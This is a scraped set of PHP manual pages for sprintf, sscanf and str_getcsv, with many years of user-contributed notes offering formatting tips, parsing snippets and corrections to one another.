henke dot andersson

You can accomplish feeding it array if you use call_user_func_array. Not exactly a `clean' option, but it does work.
tim dot brouckaert dot NOSPAM at gmail dot com 12-Oct-2005 05:35
If you want to center align some text using the printf or sprintf functions, you can just use the following:

function center_text($word){
    $tot_width = 30;
    $symbol = "-";
    $middle = round($tot_width/2);
    $length_word = strlen($word);
    $middle_word = round($length_word / 2);
    $last_position = $middle + $middle_word;
    $number_of_spaces = $middle - $middle_word;

    $result = sprintf("%'{$symbol}{$last_position}s", $word);
        for ($i = 0; $i < $number_of_spaces; $i++){
            $result .= "$symbol";
        }
    return $result;
}

$string = "This is some text";
print center_text($string);

off course you can modify the function to use more arguments.
webmaster at cafe-clope dot net 14-Aug-2005 09:47
trying to fix the multibyte non-compliance of sprintf, I came to that :

<?php
function mb_sprintf($format) {
    $argv = func_get_args() ;
    array_shift($argv) ;
    return mb_vsprintf($format, $argv) ;
}

function mb_vsprintf($format, $argv) {
    $newargv = array() ;

    preg_match_all("`\%('.+|[0 ]|)([1-9][0-9]*|)s`U", $format, $results, PREG_SET_ORDER) ;

    foreach($results as $result) {
        list($string_format, $filler, $size) = $result ;
        if(strlen($filler)>1)
            $filler = substr($filler, 1) ;
        while(!is_string($arg = array_shift($argv)))
            $newargv[] = $arg ;
        $pos = strpos($format, $string_format) ;
        $format = substr($format, 0, $pos)
                  . ($size ? str_repeat($filler, $size-strlen($arg)) : '')
                    . str_replace('%', '%%', $arg)
                    . substr($format, $pos+strlen($string_format))
                    ;
    }

    return vsprintf($format, $newargv) ;
}

?>

handle with care :
1. that function was designed mostly for utf-8. i guess it won't work with any static mb encoding.
2. my configuration sets the mbstring.func_overload configuration directive to 7, so you may wish to replace substr, strlen, etc. with mb_* equivalents.
3. since preg_* doesn't complies with mb strings, I used a '.+' in the regexp to symbolize an escaped filler character. That means, %'xy5s pattern will match, unfortunately. It is recomended to remove the '+', unless you are intending to use an mb char as filler.
4. the filler fills at left, and only at left.
5. I couldn't succeed with a preg_replace thing : the problem was to use the differents lengths of the string arguements in the same replacement, string or callback. That's why the code is much longuer than I expected.
6. The pattern wil not match any %1\$s thing... just was too complicated for me.
7. Although it has been tested, and works fine within the limits above, this is much more a draft than a end-user function. I would enjoy any improvment.

The test code below shows possibilities, and explains the problem that occures with an mb string argument in sprintf.

<?php
header("content-type:text/plain; charset=UTF-8") ;
$mb_string = "xéxàx" ;
echo sprintf("%010s", $mb_string), " [octet-size: ", str_sizeof($mb_string) , " ; count: ", strlen(sprintf("%010s", $mb_string)), " characters]\n" ;
echo mb_sprintf("%010s", $mb_string), " [octet-size: ", str_sizeof($mb_string) , " ; count: ", strlen(mb_sprintf("%010s", $mb_string)), " characters]\n" ;
echo "\n" ;
echo mb_sprintf("%''10s\n%'010s\n%'û10s\n%10d\n%'x10s\n%010s\n% 10s\n%010s\n%'1s\n", "zero", "one", "two", 3, "four", "ƒîve", "%s%i%x", "šéveñ", "eight") ;
?>
david at rayninfo dot co dot uk 16-Jun-2005 11:33
Using sprintf to force leading leading zeros

foreach (range(1, 10) as $v) {echo "<br>tag_".sprintf("%02d",$v);}

displays
tag_01
tag_02
tag_03
.. etc
ian dot w dot davis at gmail dot com 30-May-2005 07:03
Just to elaborate on downright's point about different meanings for %f, it appears the behavior changed significantly as of 4.3.7, rather than just being different on different platforms. Previously, the width specifier gave the number of characters allowed BEFORE the decimal. Now, the width specifier gives the TOTAL number of characters. (This is in line with the semantics of printf() in other languages.) See bugs #28633 and #29286 for more details.
Pacogliss 02-May-2005 12:08
Just a reminder for beginners : example 6 'printf("[%10s]\n",    $s);' only works (that is, shows out the spaces) if you put the html '<pre></pre>' tags ( head-scraping time saver ;-).
christian at wenz dot org 18-Apr-2005 12:20
@ henke dot andersson at comhem dot se: Use vprintf()/vsprintf() for that.
henke dot andersson at comhem dot se 15-Apr-2005 08:07
Mind that it doesn't allow you to use a array as multiple arguments like this:
<?php
printf('%s %s',array('a','b')) ?>
downright at comcast dot net 31-Jan-2005 02:03
Just thought I'd give a heads up for anyone doing cross platform applications.

sprintf spacing is different numerically with Windows and Linux.

Linux aligned correctly:
$ol = sprintf ("%-6s|%11.2f|%11.2f|%11.2f|%11.2f|%11.2f|%11.2f|%11.2f|%11.2f\n",

Windows aligned correctly:
$ol = sprintf ("%-6s|%14.2f|%14.2f|%14.2f|%14.2f|%14.2f|%14.2f|%14.2f|%14.2f\n",

As you can see the strings are fine for spacing, however, the numbers need a difference of 3 in order to have the same amount of spaces.

I noticed this after using sprintf to format a header for a web app I was working on.  On windows it fit, however, when it came to linux it was MUCH larger than the header.
jrpozo at conclase dot net 21-Jan-2005 07:13
Be careful if you use the %f modifier to round decimal numbers as it (starting from 4.3.10) will no longer produce a float number if you set certain locales, so you can't accumulate the result. For example:

setlocale(LC_ALL, 'es_ES');
echo(sprintf("%.2f", 13.332) + sprintf("%.2f", 14.446))

gives 27 instead of 27.78, so use %F instead.
timo at frenay dot net 10-Jan-2005 10:58
Note that the documentation is unclear about the details of the sign specifier. First of all, the character for this is "+".

Also note that the following does NOT print "+00.00" as you might expect:

<?php
    printf('%+02.2f', 0);
?>

The sign is included in the width. This can't be solved by increasing the width:

<?php
    printf('%+03.2f', 0);
?>

This will put the padding 0 before the sign.
Here is a possible solution:

<?php
    $value = 0;
    printf('%s%02.2f', ($value < 0) ? '-' : '+', abs($value));
?>
Gkeeper80 11-Aug-2004 03:58
When using sprintf with padding, it's important to note that specifying the length of your padding does not restrict the length of your output.

For example:
$var = 'test';
$output sprintf("%03s", $var);

print $output;

Produces:
test

NOT:
est

This may seem intuitive for working with numbers, but not neccesarily when working with strings.
rex 15-Jun-2004 02:47
Note, if you are just looking for something to pad out a string consider str_pad.

From testing, it seems faster and was more intuitive to use (for example, making it pad the begining or end of a string... with sprintf you would have to use negative indexes)
php at sharpdreams dot com 08-May-2004 02:13
Note that when using the argument swapping, you MUST number every argument, otherwise sprintf gets confused. This only happens if you use number arguments first, then switch to a non-numbered, and then back to a numbered one.

<?php
$sql = sprintf( "select * from %1\$s left join %2\$s on( %1\$s.id = %2\$s.midpoint ) where %1\$s.name like '%%%s%%' and %2\$s.tagname is not null", "table1", "table2", "bob" );
// Wont work:
// Sprintf will complain about not enough arguments.
$sql = sprintf( "select * from %1\$s left join %2\$s on( %1\$s.id = %2\$s.midpoint ) where %1\$s.name like '%%%3\$s%%' and %2\$s.tagname is not null", "table1", "table2", "bob" );
// Will work: note the %3\$s
?>
tobias at silverxnet dot de 16-Apr-2004 07:09
Regarding the previous posting:
I just wanted to give an explanation. This should be because the float to string / integer to string conversion (you are using a string, multiplying it with a float value what php automatically causes to convert the string to a float value). This is a general "problem" (or not), but not that hard to explain.
Where an integer or float starts with 0, in a string it does obviously with 1. So if you are using a string your value will increase by one (You started with a string, so it does not increase but contain the real result. If you start using a float value by not using '' around the value, you have to output the float value as well. This is just the PHP conversion.)

Try putting
$x = strval( $x );
after
$x = $x * 100;
and using your example again. You will see that the output will change to 13664 = 13664 because of the general string conversion. It seems that PHP is converting a float to a string by inceasing by one. By doing the same with intval instead of strval the output changes to 13663 = 13663.

! sprintf seems to behave wrong when using the conversation to an integer value and NOT doing the conversation at all. So use intval to convert to an integer value or strval to convert to a string value BEFORE using sprintf. This should be solving the problems.
kekec at kukac dot hu 29-Mar-2004 09:16
A really working one:
<?php
function cutzero($value) {
   return preg_replace("/(\.?)0+$/", "", $value);
}
?>
05-Mar-2004 10:54
both of your cut-zero functions are just way too complicated. if it's a string where only the zeros at the end should be truncated, why not use a syntax as simple as rtrim("4.7000","0") ?
Rene dot Leonhardt at agritec24 dot com 16-May-2003 10:02
Your cutzero function could be faster ;-)
   return (double)$value;

But if you must have a function:
   return preg_replace('/0+$/', '', $value);
kouber at php dot net 08-May-2003 02:55
If you want to cut all the zeros off the end of a float, but not losing any sensitive information, use this:

<?
function cutzero($value) {
    return preg_replace("/(\.\d+?)0+$/", "$1", $value)*1;
}
?>

Some examples:

<?
cutzero("4.7600");     // returns 4.76
cutzero("4.7604")      // returns 4.7604
cutzero("4.7000");     // returns 4.7
cutzero("4.0000");     // returns 4
?>
info at nospam dot webtip dot dk 18-Feb-2003 05:06
If you want to format a phonenumber with spaces, use chunk_split() which splits a string into smaller chunks. It's much simpler than using sprintf.

$phone = "12345678";

chunk_split ($phone, 2);

will return 12 34 56 78
moritz dot geselle at invision-team dot de 02-Dec-2002 02:52
a little note to the argument swapping examples which took me a while to get:
if you use single quotes for the format string (like you should do, since there aren't any variable conversions to do as long as you don't need any special chars), the given examples won't work because of the backslash before the $ (needs to be escaped in double quoted strings - but not in single quoted!)

so this:

$format = "The %2\$s contains %1\$d monkeys";
printf($format,$num,$location);

with a single quoted format string would look like this:

$format = 'The %2$s contains %1$d monkeys';
printf($format,$num,$location);

(no escapes)

I hope that helps to avoid confusion ;)
no dot email dot address at example dot com 16-Sep-2002 06:29
Using argument swapping in sprintf() with gettext: Let's say you've written the following script:

<?php
$var = sprintf(gettext("The %2\$s contains %1\$d monkeys"), 2, "cage");
?>

Now you run xgettext in order to generate a .po file. The .po file will then look like this:

#: file.php:9
#, ycp-format
msgid "The %2\\$s contains %1\\$d monkeys"
msgstr ""

Notice how an extra backslash has been added by xgettext.

Once you've translated the string, you must remove all backslashes from the ID string as well as the translation, so the po file will look like this:

#: file.php:9
#, ycp-format
msgid "The %2$s contains %1$d monkeys"
msgstr "Der er %1$d aber i %2$s"

Now run msgfmt to generate the .mo file, restart Apache to remove the gettext cache if necessary, and you're off.
abiltcliffe at bigfoot.com 10-Sep-2002 11:01
To jrust at rustyparts.com, note that if you're using a double-quoted string and *don't* escape the dollar sign with a backslash, $s and $d will be interpreted as variable references. The backslash isn't part of the format specifier itself but you do need to include it when you write the format string (unless you use single quotes).
Andrew dot Wright at spamsux dot atnf dot csiro dot au 03-Jul-2002 02:22
An error in my last example:
$b = sprintf("%30.s", $a);
will only add enough spaces before $a to pad the spaces + strlen($a) to 30 places.

My method of centering fixed text in a 72 character width space is:

$a = "Some string here";
$lwidth = 36; // 72/2
$b = sprintf("%".($lwidth + round(strlen($a)/2)).".s", $a);
eden_zero_x at hotmail dot com 26-Jun-2002 02:05
Well I came up with this one, extremely simple. instead of writing <span class="class">hello</a>
you can write: print class('class','hello'); using sprintf
-----------------------------
function class_ ($class, $text=false)
 {
    return sprintf ("<span class=\"%s\">%s</span>",
        $class,
        ($text ? $text : $class)
    );
 }
-----------------------------
shgyn at binabakti dot or dot id 01-Jun-2002 07:57
Previously submitted sci() function to get scientific representation of a number is not working with 0 and negative numbers. So, here is the modified version:

function sci($x, $d=-1) {
    $min=($x<0)?"-":"";
    $x=abs($x);
    $e=floor(($x!=0)?log10($x):0);
    $x*=pow(10,-$e);
    $fmt=($d>=0)?".".$d:"";
    $e=($e>=0)?"+".sprintf("%02d",$e):"-".sprintf("%02d",-$e);
    return sprintf("$min%".$fmt."fe%s",$x,$e);
}
fuchschr at surfeu dot at 20-Feb-2002 08:54
To have a string with leading zeros use this:
$string_i = sprintf("%04s",$value)

Gives you an output with leading zeros and 4 digits.
i.e.
0001
0002
...
0010
an so on
cv at corbach dot de 10-Feb-2002 07:36
To make radu.rendec@ines.ro's excellent function work on signed numbers you must change the first line to:

$e = floor(log10(abs($x)));
anqmb(at)yahoo.co.jp 05-Dec-2001 04:51
Watch out the mysterious rounding rule.
<?php
$a = 4.5;
$b = sprintf("%d",$a);
$c = 4.5;
$d = sprintf("%.0f",$c);
$e = 0.45;
$f = sprintf("%.1f",$e);
print ("$b,$d,$f\n");
?>

The code above prints "4,5,0.5".
(Perl version prints "4,4,0.5".)
keeper at odi dot com dot br 26-Nov-2001 09:26
Took me a while to find this out.
hope will save someones time.
IT ADD A CARACRER TO THE END OF A STRING

$x = sprintf("%'x-10s", "a");
echo $x;
tjchamberlain.hotmail@com 25-Mar-2001 11:16
It is worth noting that "%5.2f" will result in a string 8 characters long (5 then the '.' then 2), not 5 characters as you might expect.
prolixmp3 at navigators dot lv 23-Mar-2001 10:55
If you are going to create a counter which uses _symbols_ before actual digits (see, f.e., SpyLog.com counters - they are filling space with "." before, so the count like 12345 looks like "........12345"), you can use the following:

$txt = "Abracadabra"; // actual string
$fit = 16; // how many digits to use
$fill = "."; // what to fill
$digits = sprintf ("%'{$fill}{$fit}s", $txt);

Paul (a.k.a. Mr.Prolix)
voudras at nospam dot swiftslayer dot org 17-Nov-2000 06:58
Little note about sprintf and its ilk.
if you attempt something like
$string = "dingy%sflem%dwombat";
$nbr = 5;
$name = "voudras";

$msg = sprintf("%d $string %s", $nbr, $name);

sprintf will complain about a lack in the number of arguments, this would be because of the %'s in the actual string. This can be a great benifit, but is also rather confusing if you dont realize this feature, and are passing questionable variables to sprintf (for, say perhaps logging). One way around this is using
ereg_replace("%","%%", $string); before
sending it off to sprintf. This is actually how i came across this as a problem - i had realized some time ago that i would have to test my $string for
%'s, but when running the %->%% replacement on a very large serialized object, my application timed out.
    My solution was to use
sprintf("%d %s %s", $nbr, $string, $name);
but, there was a reason i originally had done this the other way - i suppose i'll find out soon enough
soundex
sscanf
String Functions


Parses input from a string according to a format

sprintf
str_getcsv
String Functions
PHP Manual

sscanf

(PHP 4 >= 4.0.1, PHP 5)

sscanf — Parses input from a string according to a format

Description

mixed sscanf ( string $str , string $format [, mixed &$... ] )

The function sscanf() is the input analog of printf(). sscanf() reads from the string str and interprets it according to the specified format, which is described in the documentation for sprintf().

Any whitespace in the format string matches any whitespace in the input string. This means that even a tab \t in the format string can match a single space character in the input string.

Parameters

str

The input string being parsed.

format

The interpreted format for str, which is described in the documentation for sprintf() with following differences:

  • Function is not locale-aware.
  • F, g, G and b are not supported.
  • D stands for decimal number.
  • i stands for integer with base detection.
  • n stands for number of characters processed so far.

...

Optionally pass in variables by reference that will contain the parsed values.

Return Values

If only two parameters were passed to this function, the values parsed will be returned as an array. Otherwise, if optional parameters are passed, the function will return the number of assigned values. The optional parameters must be passed by reference.

Examples

Example #1 sscanf() Example

<?php
// getting the serial number
list($serial) = sscanf("SN/2350001", "SN/%d");
// and the date of manufacturing
$mandate = "January 01 2000";
list($month, $day, $year) = sscanf($mandate, "%s %d %d");
echo "Item $serial was manufactured on: $year-" . substr($month, 0, 3) . "-$day\n";
?>

If optional parameters are passed, the function will return the number of assigned values.

Example #2 sscanf() - using optional parameters

<?php
// get author info and generate DocBook entry
$auth = "24\tLewis Carroll";
$n = sscanf($auth, "%d\t%s %s", $id, $first, $last);
echo "<author id='$id'>
    <firstname>$first</firstname>
    <surname>$last</surname>
</author>\n";
?>

See Also

  • fscanf() - Parses input from a file according to a format
  • printf() - Output a formatted string
  • sprintf() - Return a formatted string

User Contributed Notes

nmmm at nmmm dot nu 23-Nov-2011 05:11
This is more like C/C++ example, but works on PHP too.

<?php
$qs = "index.php?id=34&name=john";

print_r(   sscanf($qs, "%[^?]?%[^?]")   );

$qs = "id=34&name=john";

print_r(   sscanf($qs, "id=%[^&]&name=%[^&]")   );
?>
Igor Feghali 22-Oct-2008 10:56
parses an input string with fixed field sizes that contains data with spaces:

<?php
$result = sscanf("  Vendor: My Vendo Model: Super Model Foo  Rev: 1234",
                 '  Vendor: %8[ -~] Model: %16[ -~] Rev: %4c',
                 $vendor, $model, $rev);
?>

$vendor => My Vendo
$model => Super Model Foo
$rev => 1234
leg 13-Aug-2008 09:20
@mikewillitsgmail.com:

<?php

$out = sscanf('file_name.gif', 'file_%[^.].%s', $fpart1, $fpart2);

echo '<pre>';
print_r($fpart1);
echo '<hr />';
print_r($fpart2);
echo '</pre>';

?>

output:

name
-
gif

The "^." part avoid the first searched string to be too greedy. But doesn't protect you against an "file_test.name.gif" input, with bad results!
--==[FReeZ]==-- 27-May-2008 01:59
sscanf() in PHP also supports the more advanced patterns like in C++.
That means you can use it a lot more, after readining the details from http://www.cplusplus.com/reference/clibrary/cstdio/sscanf.html

Example usage:
$date = 'january-2008';
sscanf($date, '%[a-z]-%d', $month, $year);
printf('Parsed values: "%s", "%d"', $month, $year);

// Outputs Parsed values: "january", "2008"
mikewillitsgmail.com 15-Mar-2008 11:13
FYI - if you are trying to scan from a string which contains a filename with extension. For instance:

<?php

$out = sscanf('file_name.gif', 'file_%s.%s', $fpart1, $fpart2);

?>

The scanned string in the $fpart1 parameter turns out to be 'name.gif' and $fpart2 will be NULL.

To get around this you can simply replace the "." with a space or another "white-space like" string sequence.

I didn't see any other comments on regarding string literals which contain a '.' so I thought I'd mention it. The subtle characteristics of having "white-space delimited" content I think can be a source of usage contention. Obviously, another way to go is regular expressions in this instance, but for newer users this may be helpful.

Just in case someone else spent 10 minutes of frustration like I did. This was seen on PHP Version 5.2.3-1ubuntu6.3.

Searching the bug reports shows another users misunderstanding: http://bugs.php.net/bug.php?id=7793
Hayley Watson 13-Aug-2007 08:38
Just to note something not explicitly mentioned in the documentation.

sscanf() matches as much of the passed string as it can against the format. If it gets part way through and discovers that the next part of the string fails to match the format it gives up; it will return the parts that it did match, and NULL for the remainder.
Rodrigo Araújo 12-Oct-2006 01:02
Important warning about the last note by "anonymouse" (quoting):
----------------------------------------------------------------------
sscanf($string_to_parse,'%d %[^$]s',$num,$text);

This conversion command says "look for an integer, then a space, then any string up to the end of the string"
----------------------------------------------------------------------

This won't do what you think. You have the ^ and $ characters inside square brackets: $text will be empty if $string_to_parse contains for example "123 $".

What that pattern really means is: match an signed integer, followed by a whitespace, followed by a string *NOT* containing a dollar sign, followed by an 's'.

To do what you want i'm afraid you really must use ereg. Scanf is *not* a regular expression parser. It was designed to be used in plain C, where you don't have arbitrary length strings natively. Also, in scanf patterns you don't have an equivalent to matching the beginning/end of string, like you have with ^ and $ in regular expressions.

In PHP, you should use something like:
if (ereg('^([+-]?[0-9]+) (.+)$', $string_to_parse, $regs)) {
  $num = $regs[1];
  $text = $regs[2];
}
This regular expression assumes you want a signed integer at the beginning, and you don't mind if it starts with 0 when it is non-zero, e.g. 0123, +0321 or -0456 is also valid.
anonymouse 01-Aug-2006 09:38
I've seen several examples of people using brackets to define what look like regexp character classes. In my limited testing I don't think they are genuine character classes but they seem to be similar.

My task was to use sscanf() to parse an array of strings with the format:

number SPACE string_which_may_also_have_spaces

The normal %s conversion command treats spaces as some kind of delimiter. So, you can get the strings if you know beforehand how many "words" there will be. But, my input was variable.

Here's what I came up with: (note use of the dollar-sign 'end of string' hidden delimiter)

sscanf($string_to_parse,'%d %[^$]s',$num,$text);

This conversion command says "look for an integer, then a space, then any string up to the end of the string"
skeltoac 22-Mar-2006 08:28
To parse a line from an Apache access log in common format:

<?php
$log = array();
$n = sscanf(trim($line), '%s %s %s [%[^]]] "%s %s %[^"]" %d %s "%[^"]" "%[^"]"',
    $log['ip'],
    $log['client'],
    $log['user'],
    $log['time'],
    $log['method'],
    $log['uri'],
    $log['prot'],
    $log['code'],
    $log['bytes'],
    $log['ref'],
    $log['agent']
);
?>
Fuzzmaster 23-Sep-2005 07:14
Building a better Phone Format.  This function, a variation of prev. posts (in theory):

Should stip all non-numeric characters.
Treat partial numbers as extensions.
Treat 8 - 9 digit numbers as phone+ext.

Be kind I'm a newbie.

<?php

    // ##### Format String as Phone Number
    Function formatPH($ph)
          {
           $ph = ereg_replace ('[^0-9]+', '', $ph); // ##### Strip all Non-Numeric Characters
           $phlen = strlen($ph);
           switch (TRUE)
             {
              case ($phlen < 7):
                $ext = $ph;
                break;
              case ($phlen == 7):
                sscanf($ph, "%3s%4s", $pfx, $exc);
                break;
              case ($phlen > 7 AND $phlen < 10):
                sscanf($ph, "%3s%4s%s", $pfx, $exc, $ext);
                break;
              case ($phlen == 10):
                sscanf($ph, "%3s%3s%4s", $area, $pfx, $exc);
                break;
              case ($phlen == 11):
                sscanf($ph, "%1s%3s%3s%4s", $cty, $area, $pfx, $exc);
                break;
              case ($phlen > 11):
                sscanf($ph, "%1s%3s%3s%4s%s", $cty, $area, $pfx, $exc, $ext);
                break;
             }
           $out = '';
           $out .= isset($cty) ? $cty.' ' : '';
           $out .= isset($area) ? '('.$area.') ' : '';
           $out .= isset($pfx) ? $pfx.' - ' : '';
           $out .= isset($exc) ? $exc.' ' : '';
           $out .= isset($ext) ? 'x'.$ext : '';
           return $out;
          }

?>
Brainiac361 22-Aug-2005 01:49
The %[^[]]-trick may seem to work, but it doesn't!

What happens is that sscanf will simply match any characters but an opening square bracket (which is rather rare and that's why it might just seem to work).
But even worse it will expect a ]-character next and continue to match anything.

Now what you can do is make sscanf look for any character but a character that is really never used... a good choice is the linebreak "%[^\\n]", especially in combination with fscanf.

What you can also do is copy and paste any unused ascii character like #001 or something.
joshmckenneyATgmailDOT(0{ 14-Jul-2005 03:21
added country code (1) to phone number function:

function formatPhone($phone) {
       if (empty($phone)) return "";
       if (strlen($phone) == 7)
               sscanf($phone, "%3s%4s", $prefix, $exchange);
       else if (strlen($phone) == 10)
               sscanf($phone, "%3s%3s%4s", $area, $prefix, $exchange);
       else if (strlen($phone) > 10)
               if(substr($phone,0,1)=='1') {
                                 sscanf($phone, "%1s%3s%3s%4s", $country, $area, $prefix, $exchange);
                             }
                             else{
                                 sscanf($phone, "%3s%3s%4s%s", $area, $prefix, $exchange, $extension);
                                }
       else
               return "unknown phone format: $phone";
       $out = "";
       $out .= isset($country) ? $country.' ' : '';
       $out .= isset($area) ? '(' . $area . ') ' : '';
       $out .= $prefix . '-' . $exchange;
       $out .= isset($extension) ? ' x' . $extension : '';
       return $out;
}
Vincent Jansen 16-Jun-2005 01:04
If you just wants filter out information between two parts of a string, i used the following, it works better for me then the sscanf function.

<?php
function scanstr($zoekstr,$part1,$part2) {
$firstpos=strpos ($zoekstr, $part1)+strlen($part1);
$lastpos=strpos ($zoekstr, $part2);
$scanresult=substr ($zoekstr, $firstpos, $lastpos-$firstpos);
    return($scanresult);
}
echo scanstr ("var1=hello&var2=test&var3=more","var2=","&var3");
?>
codeslinger at compsalot dot com 06-Feb-2005 06:03
Security Note:

Although it is a very powerful technique, keep in mind that it is easily deceived.

Many successful exploits have been based on scanf attacks.  It should not be used on untrusted input without a lot of additional validation.
steve (atsign) rapaport *fullstop* com 18-Sep-2004 04:27
The classic example
<?php
list($month, $day, $year) = sscanf($mandate, "%s %d %d");
?>

works fine if you already know the variable names you want to fill, and the format string you want to fill them with.  If you want both of those to be dynamically configurable (as in reading a file with a flexible format), you may have a use for this code:

Assumes your variables are listed in the variable
$varstr = "var1, var2, var3"
(you don't know what the variable names will be,
 perhaps they're a subset of a long list of valid ones)

Assumes your input line is in $line, and your sscanf spec is in $spec.  Both of these may also be in your input.

Integrity checks omitted for clarity.

<?php
        $vars = explode(',', $varstr);

        $values = @sscanf($line, $spec);
        // Do input integrity checks

        foreach ($vars as $var) {
            $var = trim($var);
            $next = each($values);
            $$var = $next['value'];
            if ($$var) $result_array[$var] = $$var;
        }
?>

This took me some time to write successfully, so I'm including it for posterity.  Non-obvious is the use of
$next.

Cheers,

Steve
marcus at synchromedia dot co dot uk 24-Mar-2003 09:38
In PHP >= 4.3.0, if you use additional reference parameters, you will get this warning:

PHP Warning:  Call-time pass-by-reference has been deprecated - argument passed by value

This clearly has the potential to cause unexpected consequences (vars left empty), and will break existing code. So don't do it! These docs need updating to say this too.

The syntax:

    list($a, $b) = sscanf("hello world", "%s %s");

will work as expected, and doesn't seem to cause any problems with Apache that I've noticed.
sbarnum.pointsystems@com 19-Feb-2003 01:29
This is a better phone format function than the one above, handles leading zeroes correctly, by using the "%s" instead of "%d" argument to sscanf().  Again, this function assumes that the input has been stripped of all non-integer values.

function formatPhone($phone) {
        if (empty($phone)) return "";
        if (strlen($phone) == 7)
                sscanf($phone, "%3s%4s", $prefix, $exchange);
        else if (strlen($phone) == 10)
                sscanf($phone, "%3s%3s%4s", $area, $prefix, $exchange);
        else if (strlen($phone) > 10)
                sscanf($phone, "%3s%3s%4s%s", $area, $prefix, $exchange, $extension);
        else
                return "unknown phone format: $phone";
        $out = "";
        $out .= isset($area) ? '(' . $area . ') ' : "";
        $out .= $prefix . '-' . $exchange;
        $out .= isset($extension) ? ' x' . $extension : "";
        return $out;
}
sbarnum.pointsystems@com 19-Nov-2002 07:21
More fun with phones!  This assumes that the phone number is 10 digits, with only numeric data, but it would be easy to check the length of the string first.

function formatPhone($phone) {
        if (empty($phone)) return "";
        sscanf($phone, "%3d%3d%4d", $area, $prefix, $exchange);
        $out = @$area ? "($area) " : "";
        $out .= $prefix . '-' . $exchange;
        return $out;
}
jon at fuck dot org 13-Sep-2002 11:27
this function is a great way to get integer rgb values from the html equivalent hex.

list($r, $g, $b) = sscanf('00ccff', '%2x%2x%2x');
jamesDOTwatsonATrealismstudiosDOTcom 10-Jul-2002 12:31
You're making a common mistake in believing that sscanf (and the whole scanf family) are more intelligent than they really are, sscanf always starts checking from the first character of the string, the first character that doesn't match the format string causes it to bail out early, if you want to match later in the string you'll have to do something like this:

sscanf(strstr($lit[$x],"Vol."),"Vol. %d",&$vol[$x]);

(check the docs on strstr if you're unsure of how it works)

or if you want you can add some simple error correction

$temp=strstr($lit[$x],"Vol.");
if ($temp)
    sscanf($temp,"Vol. %d",&$vol[$x]);
else
    $vol[$x]=$default_vol;
elgabos at umail dot ucsb dot edu 27-Feb-2002 03:38
After playing around with this for a while, I found that if you use %[^[]] instead of %s (since php has problems with spaces when using %s) it works nicely.

For those that aren't familiar with regular expressions, %[^[]] basically matches anything that isn't nothing.

Hope this helps. - Gabe
narainsbrain at yahoo dot com 14-Oct-2001 03:25
apparently, sscanf always splits at spaces, even if spaces are not specified in the format. consider this script:

<?php
$str = "This is a\tsentence with\ttabs";
$scanned = sscanf($str, "%s\t%s\t%s");
echo join(" : ", $scanned);
?>

this echoes "This : is : a", not the expected "This is a : sentence with : tabs."
this behaviour is fine if your strings don't contain spaces, but if they do you'd be better off using explode().
owenh at halo5 dot com 28-Nov-2000 04:21
<?php list($phone11, $phone12, $phone13) = sscanf($arow[9],"(%d) %d-%d"); ?>

If thoes variables dont have data in them it seems to cause segfaults on apache.  ( just to save you some trouble shooting time here is my fix:
<?php sscanf($arow[9],"(%d) %d-%d", &$phone11,&$phone12, &$phone13); ?>
clcollie at mindspring dot com 12-Sep-2000 04:59
Actually sscanf()_always_ returns an array if you specify less return variables than format specifiers. i may change this to return a scalar if only a single format specifier exists.
  Note that sscanf() is (almost) the complete functional equivalent of its "C" counterpart, so you can do the following to get the expected effect :

   sscanf("SN/2350001","SN/%d",&$serial)

The array return was a nicety for PHP.
sprintf
str_getcsv
String Functions


Parse a CSV string into an array

sscanf
str_ireplace
String Functions
PHP Manual

str_getcsv

(PHP 5 >= 5.3.0)

str_getcsv — Parse a CSV string into an array

Description

array str_getcsv ( string $input [, string $delimiter = ',' [, string $enclosure = '"' [, string $escape = '\\' ]]] )

Parses a string input for fields in CSV format and returns an array containing the fields read.

Parameters

input

The string to parse.

delimiter

Set the field delimiter (one character only).

enclosure

Set the field enclosure character (one character only).

escape

Set the escape character (one character only). Defaults as a backslash (\)

Return Values

Returns an indexed array containing the fields read.

See Also

  • fgetcsv() - Gets line from file pointer and parse for CSV fields

User Contributed Notes

silaspalmer at gmail dot com 15-Dec-2011 12:53
Here's a piece of code that parses Excel CSV correctly.

<?php
function parse_csv($file,$comma=',',$quote='"',$newline="\n") {

    $db_quote = $quote . $quote;

    // Clean up file
    $file = trim($file);
    $file = str_replace("\r\n",$newline,$file);

    $file = str_replace($db_quote,'&quot;',$file); // replace double quotes with &quot; HTML entities
    $file = str_replace(',&quot;,',',,',$file); // handle ,"", empty cells correctly

    $file .= $comma; // Put a comma on the end, so we parse last cell

    $inquotes = false;
    $start_point = 0;
    $row = 0;

    for($i=0; $i<strlen($file); $i++) {

        $char = $file[$i];
        if ($char == $quote) {
            if ($inquotes) {
                $inquotes = false;
                }
            else {
                $inquotes = true;
                }
            }

        if (($char == $comma or $char == $newline) and !$inquotes) {
            $cell = substr($file,$start_point,$i-$start_point);
            $cell = str_replace($quote,'',$cell); // Remove delimiter quotes
            $cell = str_replace('&quot;',$quote,$cell); // Add in data quotes
            $data[$row][] = $cell;
            $start_point = $i + 1;
            if ($char == $newline) {
                $row ++;
                }
            }
        }
    return $data;
    }

$file ='Year,Make,Model,Description,Price
1997,Ford,E350,"ac, abs, moon",3000.00
1999,Chevy,"Venture ""Extended Edition""","",4900.00
1999,Chevy,"Venture ""Extended Edition, Very Large""","",5000.00
1996,Jeep,Grand Cherokee,"MUST SELL!
air, moon roof, loaded",4799.00';

print_r(parse_csv($file)); // Returns what you'd expect. See http://en.wikipedia.org/wiki/Comma-separated_values for example

?>
xoneca at gmail dot com 27-Nov-2011 04:26
Note that this function can also be used to parse other types of constructions. For example, I have used to parse .htaccess AddDescription lines:

    AddDescription "My description to the file." filename.jpg

Those lines can be parsed like this:

<?php

$line = 'AddDescription "My description to the file." filename.jpg';

$parsed = str_getcsv(
    $line, # Input line
    ' ',   # Delimiter
    '"',   # Enclosure
    '\\'   # Escape char
);

var_dump( $parsed );

?>

The output:

array(3) {
  [0]=>
  string(14) "AddDescription"
  [1]=>
  string(27) "My description to the file."
  [2]=>
  string(12) "filename.jpg"
}
ioplex at gmail dot com 29-Sep-2011 08:38
Note that the CSV format handled by this function is not even close to being the same as the CSV emitted and consumed by spreadsheet programs. In truth, one could argue that the real CSV "specification" is actually just the behavior of Microsoft Excel and not an RFC that was written 20 years after Excel used CSV (although thankfully RFC 4180 is actually the same as Excel behavior with the exception that Excel actually uses a tab as a separator by default).

